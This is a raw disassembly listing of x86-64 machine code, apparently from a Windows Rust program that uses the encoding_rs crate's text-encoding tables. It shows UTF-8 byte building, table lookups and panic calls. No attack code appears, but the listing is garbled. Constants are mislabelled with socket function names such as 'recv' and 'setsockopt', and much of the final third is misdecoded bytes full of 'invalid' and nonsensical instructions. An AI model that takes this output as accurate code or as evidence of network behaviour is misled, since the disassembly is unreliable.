shr rdx, 1
invalid
add rdx, r8
xor r11d, r11d
cmp word [rcx + rdx*2], ax
setne r11b
cmovb r11d, r9d
cmp r11b, 1
je 0x140066f07
invalid
movzx r8d, r11b
cmp r8d, 0xff
jne 0x1400670d0
inc rdx
mov r8, rdx
mov rdx, r10
mov r11, rbx
sub rdx, r8
ja 0x140066f12
ret 0x8949
lea rdx, [r8 - 1]
cmp rdx, 0x217
jae 0x14006880a
lea rdx, [0x1401849f2]
jmp 0x1400659e7
mov byte [r12 + 8], 2
test cl, cl
js 0x140065921
mov word [r12 + 9], 1
mov qword [r12], 0
mov qword [r12 + 0x10], 0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [rsp + 0x120], 0
je 0x140067203
mov word [r12 + 8], 0x302
mov byte [r12 + 0xa], 0
jmp 0x140067218
mov byte [rsi + 1], 0
movzx ecx, byte [rsi + 4]
mov byte [rsi + 3], cl
mov r12, rbx
mov word [rbx + 8], 0x102
mov byte [rbx + 0xa], 0
mov rdx, r14
jmp 0x140065861
mov rdx, qword [rsp + 0x60]
mov byte [rdx + 7], 1
mov byte [rdx + 8], r9b
mov byte [rdx + 9], 1
mov byte [rdx + 0xa], r11b
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 2
jmp 0x140067218
mov word [r12 + 9], 3
mov qword [r12], rbp
jmp 0x140066f8d
mov r8d, 1
jmp 0x1400661e9
mov rdx, qword [rsp + 0x60]
mov byte [rdx + 1], 1
mov byte [rdx + 2], r10b
mov byte [r12 + 8], 0
mov qword [r12], rax
jmp 0x14006588c
lea rax, [r12 - 0x29f8]
cmp rax, 0x168
jae 0x1400672e9
lea rax, [0x140182f8a]
movzx eax, word [rax + r12*2 - 0x53f0]
jmp 0x14006730d
mov eax, 1
jmp 0x140064600
mov edx, ecx
shr edx, 0xc
or dl, 0xe0
mov byte [rbp], dl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 1], cl
and al, 0x3f
or al, 0x80
mov ecx, 3
mov edx, 2
jmp 0x1400664bc
mov byte [r12 + 8], 2
test r9b, r9b
js 0x140067e0b
mov word [r12 + 9], 1
mov qword [r12], rax
jmp 0x14006588c
lea rax, [0x1401849f2]
jmp 0x140065a2a
lea r8, [rdx - 0x2e248]
cmp r8, 0x100000
mov rsi, qword [rsp + 0x30]
jae 0x140067cef
mov r11, r14
add edx, 0xfffe1db8
mov r8d, edx
shr r8d, 0x12
or r8b, 0xf0
mov byte [rbp + rax], r8b
mov r8d, edx
shr r8d, 0xc
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + rax + 1], r8b
mov r8d, edx
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + rax + 2], r8b
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rax + 3], dl
or rax, 4
jmp 0x1400629cc
mov byte [rdx + 1], 4
mov byte [r12 + 8], 0
jmp 0x14006716c
mov byte [r12 + 8], 2
test r8b, r8b
js 0x140067e51
mov word [r12 + 9], 1
mov qword [r12], rbp
mov qword [r12 + 0x10], rbx
jmp 0x140066f96
lea r8d, [r9 - 0x40]
cmp r8b, 0x3e
jbe 0x140067eb3
cmp r9b, 0xa0
jle 0x140067eac
mov byte [r12 + 8], 2
test r9b, r9b
js 0x140067c4c
mov word [r12 + 9], 1
jmp 0x14006629c
mov byte [rdx + 1], 3
mov byte [rdx + 2], r8b
mov byte [r12 + 8], 0
mov qword [r12], rcx
mov qword [r12 + 0x10], rbx
jmp 0x140066f96
mov byte [rdi + 9], 2
mov byte [rdi + 0xa], dl
mov byte [rdi + 0xb], r10b
jmp 0x140067212
cmp dl, 0x27
jne 0x140067dd3
cmp r8b, 0xf
jae 0x140067dd3
lea rax, [0x1401887f6]
movzx eax, word [rax + rcx*2]
test ax, ax
jne 0x140067df1
jmp 0x14006874e
mov byte [rdi + 9], 3
mov byte [rdi + 0xa], dl
mov byte [rdi + 0xb], r10b
mov byte [rdi + 0xc], r11b
mov byte [r12 + 8], 0
mov qword [r12], rcx
mov qword [r12 + 0x10], rax
jmp 0x140066f96
mov edx, 1
jmp 0x14006468c
lea rcx, [rax - 0x255]
cmp rcx, 0xb
jae 0x140067e1c
add cl, 2
mov rax, qword [rsp + 0x110]
mov byte [rax], 0xd0
or cl, 0x80
mov byte [rax + 1], cl
jmp 0x140067e3e
mov word [r12 + 8], 0x402
mov byte [r12 + 0xa], 0
mov qword [r12], r14
mov qword [r12 + 0x10], rax
jmp 0x140066f96
mov r12, rbx
mov word [rbx + 8], 0x202
mov byte [rbx + 0xa], 0
jmp 0x140065861
mov byte [r12 + 8], 2
test r9b, r9b
js 0x140067c4c
mov word [r12 + 9], 1
jmp 0x140067268
mov edx, eax
shr edx, 0xc
or dl, 0xe0
mov r8, qword [rsp + 0x110]
mov byte [r8], dl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [r8 + 1], al
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 2], cl
mov qword [rsp + 0x48], 3
mov ecx, 3
jmp 0x140063a27
mov word [r12 + 9], 3
jmp 0x14006716c
lea rax, [r12 - 0x2050]
cmp rax, 0x168
jae 0x140067e67
lea rax, [0x140182f8a]
movzx eax, word [rax + r12*2 - 0x40a0]
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov byte [rbp], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 1], cl
and al, 0x3f
or al, 0x80
mov byte [rbp + 2], al
mov qword [rsp + 0x48], 3
mov ecx, 1
mov eax, 3
mov r12, rdi
mov rsi, qword [rsp + 0x30]
mov rdi, rbx
lea r8, [0x140192d68]
mov rcx, r9
mov rdx, r9
call fcn.140160ed0
ud2
mov word [rsi + 1], 0x100
movzx ecx, byte [rsi + 4]
mov byte [rsi + 3], cl
mov r12, rbx
mov word [rbx + 8], 0x102
mov byte [rbx + 0xa], 1
mov rdx, r14
jmp 0x140065861
mov word [r12 + 9], 2
jmp 0x140067218
mov r9d, 0xce
xor r10d, r10d
lea r8, [0x14019294e]
mov r11d, 0xff
mov esi, 0xce
jmp 0x140067c81
mov rsi, r9
mov rdi, rbx
sub r9, r10
jbe 0x140067cc1
mov rbx, rdi
shr r9, 1
add r9, r10
xor edi, edi
cmp word [r8 + r9*2], dx
setne dil
cmovb edi, r11d
cmp dil, 1
je 0x140067c76
movzx r10d, dil
cmp r10d, 0xff
jne 0x1400680b7
inc r9
mov r10, r9
mov r9, rsi
mov rdi, rbx
sub r9, r10
ja 0x140067c81
lea r9, [r10 - 1]
cmp r9, 0xce
jae 0x140068824
lea r9, [0x140192aea]
add dx, word [r9 + r10*2 - 2]
sub dx, word [r8 + r10*2 - 2]
mov rsi, qword [rsp + 0x30]
jmp 0x1400680cb
mov word [r12 + 8], 0x402
mov byte [r12 + 0xa], 0
jmp 0x140067218
mov r8d, edx
shr r8d, 0xc
or r8b, 0xe0
mov byte [rbp + rax], r8b
mov r8d, edx
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + rax + 1], r8b
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rax + 2], dl
mov r8, r13
jmp 0x1400629cf
cmp r8d, 0x25
je 0x14006817f
cmp r8d, 0x20
jne 0x14006819a
movzx edx, r11b
lea r8, [0x140192778]
movzx edx, word [r8 + rdx*2]
cmp edx, 0x800
jae 0x1400683e9
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov byte [rbp + rax], r8b
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rax + 1], dl
or rax, 2
mov r8, rax
mov r11, r14
jmp 0x1400629cf
lea rcx, [rax - 0x1142]
cmp rcx, 0xd3e
jae 0x14006800a
lea rcx, [0x14018150e]
movzx eax, word [rcx + rax*2 - 0x2284]
jmp 0x14006802d
cmp dl, 0x28
jne 0x14006805b
cmp r8b, 0x10
jae 0x14006805b
lea rax, [0x140188814]
movzx eax, word [rax + rcx*2]
mov ecx, eax
shr ecx, 6
or cl, 0xc0
mov byte [rbp], cl
mov ecx, 2
mov edx, 1
jmp 0x140065a55
mov word [r12 + 9], 2
mov qword [r12], r14
jmp 0x14006588c
add rax, 0xfffffffffffffd7b
cmp rax, 0xb
jae 0x14006807e
add al, 0x12
mov rcx, qword [rsp + 0x110]
mov byte [rcx], 0xd1
or al, 0x80
mov byte [rcx + 1], al
mov qword [rsp + 0x48], 2
mov ecx, 2
jmp 0x140063a27
mov word [r12 + 9], 2
mov qword [r12], r14
mov qword [r12 + 0x10], rbx
jmp 0x140066f96
lea rax, [r12 - 0x2284]
cmp rax, 0x758
jae 0x140068130
add r12d, 0xffffbd7c
movzx eax, r12w
shr eax, 0xc
or al, 0xe0
mov byte [rbp], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 1], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rbp + 2], r12b
jmp 0x14006732d
add r9b, 0xbf
mov r8d, r9d
add dl, 0xe0
movzx edx, dl
lea rdx, [rdx + rdx*2]
shl rdx, 5
movzx r9d, r8b
lea r8, [rdx + r9]
add r8, 0xfffffffffffffca0
cmp r8, 0x1f7b
jae 0x140067f73
mov r9d, 0x65b
xor r10d, r10d
lea rdx, [0x14018d774]
mov r11d, 0xff
mov esi, 0x65b
jmp 0x140067f05
mov rsi, r9
mov rdi, rbx
sub r9, r10
jbe 0x140067f45
mov rbx, rdi
shr r9, 1
add r9, r10
xor edi, edi
cmp word [rdx + r9*2], r8w
setne dil
cmovb edi, r11d
cmp dil, 1
je 0x140067efa
movzx r10d, dil
cmp r10d, 0xff
jne 0x140068204
inc r9
mov r10, r9
mov r9, rsi
mov rdi, rbx
sub r9, r10
ja 0x140067f05
lea r9, [r10 - 1]
cmp r9, 0x65b
jae 0x14006883e
lea r9, [0x14018e42a]
add r8w, word [r9 + r10*2 - 2]
sub r8w, word [rdx + r10*2 - 2]
mov rsi, qword [rsp + 0x30]
jmp 0x140068218
add rdx, r9
cmp edx, 0x360
jae 0x140068091
mov rbx, rdi
mov r9d, 0x3b
xor r10d, r10d
lea r8, [0x14018f0e0]
mov r11d, 0xff
mov esi, 0x3b
jmp 0x140067faa
mov rsi, r9
sub r9, r10
jbe 0x140067fe4
shr r9, 1
add r9, r10
xor edi, edi
cmp word [r8 + r9*2], dx
setne dil
cmovb edi, r11d
cmp dil, 1
je 0x140067fa2
movzx r10d, dil
cmp r10d, 0xff
jne 0x140068550
inc r9
mov r10, r9
mov r9, rsi
sub r9, r10
ja 0x140067faa
lea r9, [r10 - 1]
cmp r9, 0x3b
jae 0x14006899b
lea r9, [0x14018f158]
add dx, word [r9 + r10*2 - 2]
sub dx, word [r8 + r10*2 - 2]
jmp 0x14006855c
lea rcx, [rax - 0x2050]
cmp rcx, 0x168
jae 0x140068224
lea rcx, [0x140182f8a]
movzx eax, word [rcx + rax*2 - 0x40a0]
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov byte [rbp], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 1], cl
and al, 0x3f
or al, 0x80
mov byte [rbp + 2], al
mov qword [rsp + 0x48], 3
jmp 0x140066342
cmp dl, 0x25
jne 0x14006823a
cmp r8b, 0x44
jae 0x14006823a
lea rax, [0x140188834]
movzx eax, word [rax + rcx*2]
jmp 0x14006355c
mov word [r12 + 8], 0x302
mov byte [r12 + 0xa], 0
jmp 0x140067023
lea r9, [rdx - 0x22db]
cmp r9, 0x65
jae case.0x14002d090.383
lea r8, [0x14018f1ce]
movzx edx, word [r8 + rdx*2 - 0x45b6]
jmp 0x1400683ec
lea rdx, [0x140192aea]
movzx edx, word [rdx + r9*2]
mov rsi, qword [rsp + 0x30]
mov rdi, rbx
mov r11, r14
movzx r8d, dx
cmp r8d, 0x800
jae 0x1400680fe
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov byte [rbp + rax], r8b
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rax + 1], dl
or rax, 2
jmp 0x1400629cc
mov edx, r8d
shr edx, 0xc
or dl, 0xe0
mov byte [rbp + rax], dl
mov edx, r8d
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rax + 1], dl
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + rax + 2], r8b
mov r8, r13
jmp 0x1400629cf
mov r14, r11
mov rcx, r12
call fcn.140069130
cmp ax, 1
jne 0x140068318
movzx eax, dx
cmp eax, 0x800
jae 0x140068708
mov eax, edx
shr eax, 6
or al, 0xc0
mov rcx, qword [rsp + 0x110]
mov byte [rcx], al
and dl, 0x3f
or dl, 0x80
mov byte [rcx + 1], dl
jmp case.0x140038460.280
mov word [r12 + 8], 0x302
jmp 0x140066b1e
add r9b, 0x20
cmp r9b, 0x16
jae 0x1400684b7
movzx edx, r9b
lea r8, [0x140192834]
jmp 0x1400681b8
cmp dl, 0x27
jne 0x140068468
cmp r11b, 0x20
jae 0x140068468
movzx edx, r11b
lea r8, [0x140192860]
movzx edx, word [r8 + rdx*2]
cmp edx, 0x800
jae 0x140068425
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov r9, qword [rsp + 0x110]
mov byte [r9 + rax], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 1], dl
or rax, 2
mov r8, rax
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov r11, r14
jmp 0x1400629cf
lea rdx, [0x14018e42a]
movzx r8d, word [rdx + r9*2]
mov rsi, qword [rsp + 0x30]
mov rdi, rbx
mov r11, r14
movzx edx, r8w
jmp 0x140067d1c
mov ecx, 2
cmp eax, 0x6c
jae 0x1400685ab
mov rdx, rax
jmp 0x1400688cc
add rax, 0xffffffffffffff44
cmp rax, 0x39f
jae 0x14006874e
mov rbx, r11
mov edx, 0x4d
xor r8d, r8d
lea rcx, [0x1401888bc]
mov r9d, 0xff
mov r10d, 0x4d
jmp 0x140068274
mov r10, rdx
sub rdx, r8
jbe 0x1400682ae
shr rdx, 1
add rdx, r8
xor r11d, r11d
cmp word [rcx + rdx*2], ax
setne r11b
cmovb r11d, r9d
cmp r11b, 1
je 0x14006826c
movzx r8d, r11b
cmp r8d, 0xff
jne 0x140068738
inc rdx
mov r8, rdx
mov rdx, r10
sub rdx, r8
ja 0x140068274
lea rdx, [r8 - 1]
cmp rdx, 0x4d
jae 0x140068aa3
lea rdx, [0x140188958]
add ax, word [rdx + r8*2 - 2]
sub ax, word [rcx + r8*2 - 2]
jmp 0x140068743
lea r8, [0x140192d80]
mov rcx, r10
call fcn.140160ed0
ud2
lea r8, [0x140192d98]
mov rcx, r9
call fcn.140160ed0
ud2
lea r8, [0x140192db0]
mov rcx, r9
call fcn.140160ed0
ud2
lea r8, [0x140192dc8]
mov rcx, r9
call fcn.140160ed0
ud2
lea rax, [r12 - 0xcb]
mov ecx, 2
cmp rax, 0xa
jb 0x140068c4f
lea rax, [r12 - 0xdc]
mov ecx, 5
cmp rax, 0x1a
jb 0x140068c4f
lea rax, [r12 - 0xfc]
mov ecx, 8
cmp rax, 0x1a
jb 0x140068c4f
lea rax, [r12 - 0x1d6]
mov ecx, 0xb
cmp rax, 0x11
jb 0x140068c4f
lea rax, [r12 - 0x1e7]
mov ecx, recv
cmp rax, 7
jb 0x140068c4f
lea rax, [r12 - 0x1f6]
mov ecx, setsockopt
cmp rax, 0x11
jb 0x140068c4f
lea rax, [r12 - 0x207]
mov ecx, setsockopt
cmp rax, 7
jb 0x140068c4f
lea rax, [r12 - 0x234]
mov ecx, 0x17
cmp rax, 6
jb 0x140068c4f
cmp r12d, 0x23a
jne 0x140068a5c
mov ecx, 0x1a
xor eax, eax
jmp 0x140068c4f
movzx edx, dx
mov r8d, edx
shr r8d, 0xc
or r8b, 0xe0
mov byte [rbp + rax], r8b
mov r8d, edx
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + rax + 1], r8b
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rax + 2], dl
mov r11, r14
mov r8, r13
jmp 0x1400629cf
movzx edx, dx
mov r8d, edx
shr r8d, 0xc
or r8b, 0xe0
mov r9, qword [rsp + 0x110]
mov byte [r9 + rax], r8b
mov r8d, edx
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [r9 + rax + 1], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 2], dl
mov r15, qword [rsp + 0x28]
jmp 0x140066ae5
cmp dl, 0x76
jbe 0x1400684b7
add dl, 0x89
movzx edx, dl
imul edx, edx, 0x5e
movzx r8d, r11b
add edx, r8d
add edx, 0xffffe234
movzx r8d, dx
shr r8d, 0xc
or r8b, 0xe0
mov byte [rbp + rax], r8b
mov r8d, edx
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + rax + 1], r8b
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rax + 2], dl
jmp 0x140066ae5
mov rbx, rdi
add dl, 0xdf
movzx edx, dl
imul r8d, edx, 0x5e
movzx edx, r11b
add edx, r8d
mov r9d, 0x2b
xor r10d, r10d
lea r8, [0x1401928a0]
mov r11d, 0xff
mov esi, 0x2b
jmp 0x1400684f0
mov rsi, r9
sub r9, r10
jbe 0x14006852a
shr r9, 1
add r9, r10
xor edi, edi
cmp word [r8 + r9*2], dx
setne dil
cmovb edi, r11d
cmp dil, 1
je 0x1400684e8
movzx r10d, dil
cmp r10d, 0xff
jne 0x14006866c
inc r9
mov r10, r9
mov r9, rsi
sub r9, r10
ja 0x1400684f0
lea r9, [r10 - 1]
cmp r9, 0x2b
jae 0x140068a07
lea r9, [0x1401928f8]
add dx, word [r9 + r10*2 - 2]
sub dx, word [r8 + r10*2 - 2]
jmp 0x140068678
lea rdx, [0x14018f158]
movzx edx, word [rdx + r9*2]
movzx r8d, dx
cmp r8d, 0x800
jae 0x1400686c3
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov r9, qword [rsp + 0x110]
mov byte [r9 + rax], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 1], dl
jmp 0x1400686a7
mov word [r12 + 8], 0x202
mov byte [r12 + 0xa], 0
mov qword [r12], r14
jmp 0x14006588c
lea rdx, [rax - 0x77]
mov ecx, 5
cmp rdx, 8
jb 0x1400688cc
lea rdx, [rax - 0x87]
mov ecx, 8
cmp rdx, 7
jb 0x1400688cc
lea rdx, [rax - 0x99]
mov ecx, 0xb
cmp rdx, 0xf
jb 0x1400688cc
lea rdx, [rax - 0xaf]
mov ecx, recv
cmp rdx, 8
jb 0x1400688cc
cmp eax, 0xbb
jne 0x14006886e
mov ecx, setsockopt
xor edx, edx
jmp 0x1400688cc
lea r8, [0x140192e28]
mov rcx, r10
call fcn.140160ed0
ud2
lea r8, [0x140192de0]
mov rcx, r10
call fcn.140160ed0
ud2
lea r8, [0x140192e40]
mov rcx, r9
call fcn.140160ed0
ud2
lea r8, [0x140192df8]
mov rcx, r9
call fcn.140160ed0
ud2
lea r8, [0x140192e10]
mov rcx, r9
call fcn.140160ed0
ud2
lea rdx, [0x1401928f8]
movzx edx, word [rdx + r9*2]
movzx r8d, dx
cmp r8d, 0x800
jae 0x1400686c3
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov r9, qword [rsp + 0x110]
mov byte [r9 + rax], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 1], dl
or rax, 2
mov r8, rax
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, rbx
mov r11, r14
jmp 0x1400629cf
mov edx, r8d
shr edx, 0xc
or dl, 0xe0
mov r9, qword [rsp + 0x110]
mov byte [r9 + rax], dl
mov edx, r8d
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 1], dl
and r8b, 0x3f
or r8b, 0x80
mov byte [r9 + rax + 2], r8b
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, rbx
jmp 0x14006841a
movzx eax, dx
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov r8, qword [rsp + 0x110]
mov byte [r8], cl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [r8 + 1], al
and dl, 0x3f
or dl, 0x80
mov byte [r8 + 2], dl
jmp 0x140068cb9
lea rax, [0x140188958]
movzx eax, word [rax + rdx*2]
movzx ecx, ax
cmp ecx, 0x80
jae 0x140068761
mov word [r12 + 8], 0x202
mov byte [r12 + 0xa], 0
jmp 0x140065929
cmp ecx, 0x800
jae 0x1400687b5
mov ecx, eax
shr ecx, 6
or cl, 0xc0
mov rbp, qword [rsp + 0x110]
mov byte [rbp], cl
mov ecx, 2
mov edx, 1
jmp 0x1400687de
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0x437
mov rcx, 0xffffffffffffffff
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0xff
call fcn.140160ed0
ud2
mov edx, ecx
shr edx, 0xc
or dl, 0xe0
mov rbp, qword [rsp + 0x110]
mov byte [rbp], dl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 1], cl
mov ecx, 3
mov edx, 2
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov r11, rbx
jmp 0x140065a55
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0x77c
mov rcx, 0xffffffffffffffff
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0x217
mov rcx, 0xffffffffffffffff
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0xce
mov rcx, 0xffffffffffffffff
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0x65b
mov rcx, 0xffffffffffffffff
call fcn.140160ed0
ud2
lea rdx, [rax - 0x292]
mov ecx, setsockopt
cmp rdx, 0x20
jb 0x1400688cc
lea rdx, [rax - 0x487]
mov ecx, 0x17
cmp rdx, 0x17
jb 0x1400688cc
lea rdx, [rax - 0x4a6]
mov ecx, 0x1a
cmp rdx, 0x1e
jb 0x1400688cc
lea rdx, [rax - 0x29f0]
mov ecx, 0x1d
cmp rdx, 8
jb 0x1400688cc
lea rdx, [rax - 0x21c4]
mov ecx, 0x20
cmp rdx, 3
ja 0x140068afa
lea rax, [0x14018343a]
movzx ecx, word [rax + rcx*2]
add rcx, rdx
cmp rcx, 0xf0
jae 0x14006896e
lea rax, [0x14018325a]
movzx eax, word [rax + rcx*2]
cmp eax, 0x800
jae 0x140068922
mov ecx, eax
shr ecx, 6
or cl, 0xc0
mov rdx, qword [rsp + 0x110]
mov byte [rdx], cl
and al, 0x3f
or al, 0x80
mov byte [rdx + 1], al
mov qword [rsp + 0x48], 2
mov ecx, 2
jmp 0x14006895a
movzx eax, ax
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov rdx, qword [rsp + 0x110]
mov byte [rdx], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rdx + 1], cl
and al, 0x3f
or al, 0x80
mov byte [rdx + 2], al
mov qword [rsp + 0x48], 3
mov ecx, 3
mov ebp, 1
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, pe_nt_image_headers64
add byte [rax], al
add byte [rax], al
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0x3b
cmp eax, dword [rax]
add byte [rax], al
mov rcx, 0xffffffffffffffff
call fcn.140160ed0
ud2
lea r8, [0x140192f00]
xchg edi, eax
test byte [rdi], cl
str word [rdi]
str word [rdi]
or ecx, dword [rbp + rcx*4 + 5]
lea eax, [0x140192ed0]
mov rcx, rsi
mov ecx, esi
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0x2b
mov rcx, 0xffffffffffffffff
mov ecx, 0xffffffff
call fcn.140160ed0
ud2
lea r8, [0x140192f30]
mov rcx, rax
mov rdx, r15
cli
call fcn.140160e60
ud2
lea r8, [0x140192f18]
mov rdx, r11
lea r8, [0x140192e58]
mov rcx, rax
ror dword [rax - 0x75], 0x54
and al, 0x50
call fcn.140160e60
ud2
lea rax, [r12 - 0x23b]
mov ecx, 0x1d
cmp rax, 0x1a
jb 0x140068c4f
lea rax, [r12 - 0x264]
mov ecx, 0x20
cmp rax, 6
jb 0x140068c4f
cmp r12d, 0x26a
jne 0x140068bd7
mov ecx, 0x23
xor eax, eax
jmp 0x140068c4f
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, 0x4d
mov rcx, 0xffffffffffffffff
invalid
invalid
call fcn.140160ed0
ud2
jle 0x140068a7b
adc al, byte [rax]
mov rcx, rax
mov rdx, r11
invalid
lea r8, [0x140192e58]
mov rdx, qword [rsp + 0x50]
call fcn.140160e60
lea rcx, [rax - 0xcb]
add al, byte [rax]
add byte [rax], al
cmp rcx, 0xa
and al, 0xff
invalid
invalid
sub bh, dh
invalid
cmp ecx, 7
jb 0x140068e80
lea rcx, [rax - 0x1f6]
mov edx, setsockopt
cmp rcx, 0x11
cmp ecx, 0x11
jb 0x140068e80
lea rcx, [rax - 0x207]
mov edx, setsockopt
cmp rcx, 7
jb 0x140068e80
add al, byte [rax]
invalid
sbb al, byte [rax]
add byte [rax], al
xor ecx, ecx
jmp 0x140068e80
add byte [rax], al
lea rax, [r12 - 0x26b]
mov ecx, 0x26
cmp rax, 0x1a
jb 0x140068c4f
invalid
lea rdx, [0x14018347c]
add ax, word [rdx + rcx*2]
movzx ecx, ax
enter 0xfffffffffffff981, 0
or byte [rax], al
invalid
enter 0xfffffffffffff981, 0
invalid
add dword [rax], eax
add byte [rax + 0xc3f240a], cl
mov byte [rdx], cl
and al, 0x3f
or al, 0x80
mov byte [rdx + 1], al
mov qword [rsp + 0x48], 2
add byte [rax], al
mov byte [rdx + 1], al
mov qword [rsp + 0x48], 2
jmp 0x140068ccc
shr eax, 0xc
or al, 0xc
loopne 0x140068ce3
or al, 0xe0
mov rdx, qword [rsp + 0x110]
mov edx, dword [rsp + 0x110]
add byte [rax], al
mov byte [rdx], al
mov eax, ecx
shr eax, 6
invalid
invalid
mov qword [rsp + 0x48], 3
mov ecx, 1
mov eax, 3
add byte [rcx - 0x77], cl
cld
mov r12, rdi
jl 0x140068cf7
sub byte [rax - 0x75], cl
je 0x140068cfc
xor byte [rax - 0x77], cl
fisttp word [rbp - 0x77]
jmp fcn.14006734b
dec dword [rbp + rcx*4 + 5]
test dword [rcx - 0x76b3ffee], esp
mov rdx, r15
add eax, 0x12a185
mov rdx, r15
call fcn.140160e60
ud2
lea r8, [0x140192e70]
add eax, 0x12a174
mov rcx, rax
mov ecx, eax
pop qword [rdx + 0xb0f000f]
lea r8, [0x140192ea0]
mov rdx, r15
add byte [rcx + rcx*4 - 6], cl
call fcn.140160e60
ud2
lea r8, [0x140192e58]
mov rdx, r11
call fcn.140160e60
add eax, 0x12a13c
mov rdx, r11
call fcn.140160e60
ud2
adc byte [rax], al
add byte [rax], al
mov word [r12 + 8], 0x202
and al, 8
mov byte [r12 + 0xa], 0
or al, byte [rax]
add cl, ch
pop rsp
invalid
jmp 0x140067e59
add byte [rax], al
add byte [rax - 0x7d], cl
stc
sbb dh, byte [rdx + 0x60]
invalid
lea rcx, [rax - 0x468]
sub al, 0
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
stc
or dh, byte [rdx + 0x3c]
invalid
cmp rcx, 0xa
jb 0x140068e80
invalid
lea rcx, [rax - 0x21ba]
mov edx, 0x2f
add byte [rax], al
cmp rcx, 0xa
jb 0x140068e80
or dh, byte [rdx + 0x2a]
lea rcx, [rax - 0x29dc]
mov edx, 0x32
cmp rcx, 0xa
cmp ecx, 0xa
and al, 0xd6
cmp ecx, 0xa
jb 0x140068e80
add rax, 0xffffffffffffd61a
mov edx, 0x35
mov rcx, rax
invalid
or dword [rdi], ecx
xchg esi, ecx
clc
invalid
lea rax, [0x14018347c]
movsd dword [rdi], dword [rsi]
adc dword [rax], eax
add cx, word [rax + rdx*2]
movzx eax, cx
invalid
sar dword [case.0x140069261.24], 0xf
or dword [rdx + rdi*8 - 0x37760001], 0xffffffc1
call 0x188c69aa7
invalid
or al, 0xc0
mov rdx, qword [rsp + 0x110]
xchg esp, eax
and al, 0x10
add dword [rax], eax
add byte [rax], al
invalid
mov byte [rdx], al
and cl, 0x3f
loope case.0x1400621f6.112
or cl, 0x80
mov byte [rdx + 1], cl
invalid
int3
int3
push r13
push rbp
push r12
mov edi, eax
mov rdi, rdx
mov rsi, rcx
mov rax, qword [rsp + 0xd0]
test byte [rax + rdx*8], ah
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xc0
invalid
mov ebp, dword [rsp + 0xc0]
sub byte [rcx], cl
ror byte [rdi], 0x85
